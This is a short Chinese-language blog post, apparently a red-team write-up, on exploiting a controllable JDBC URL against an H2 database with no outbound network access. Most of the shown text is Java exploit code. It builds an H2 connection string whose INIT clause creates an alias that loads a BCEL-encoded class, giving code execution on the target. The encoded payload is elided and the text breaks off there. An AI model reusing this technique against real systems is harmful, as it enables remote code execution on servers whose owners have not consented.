0x00 前言本文记录一次攻防中针对 h2 database 的实战利用。0x01 简介主要内容:基于 BCEL 构造 H2 的不出网利用WAF 绕过判断中间件的坑点0x02 失败的 H2 不出网利用前段时间的一次攻防项目中发现了一处 jdbc url 可控的漏洞,测试几个数据库后,最终探测到目标存在 h2 的依赖。基于 BCEL 构造其不出网的利用:public class Test { public static void main(String[] args) throws Exception { String clazzBCELCode = "$$BCEL$$..."; String connectionUrl = String.format("jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists test;create alias test as 'void exec() throws java.io.IOException { try { new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\"%s\").newInstance(); } catch (Exception e){ }}';call test();", clazzBCELCode); Connection connection = DriverManager.getConnection(connectionUrl);
………………………………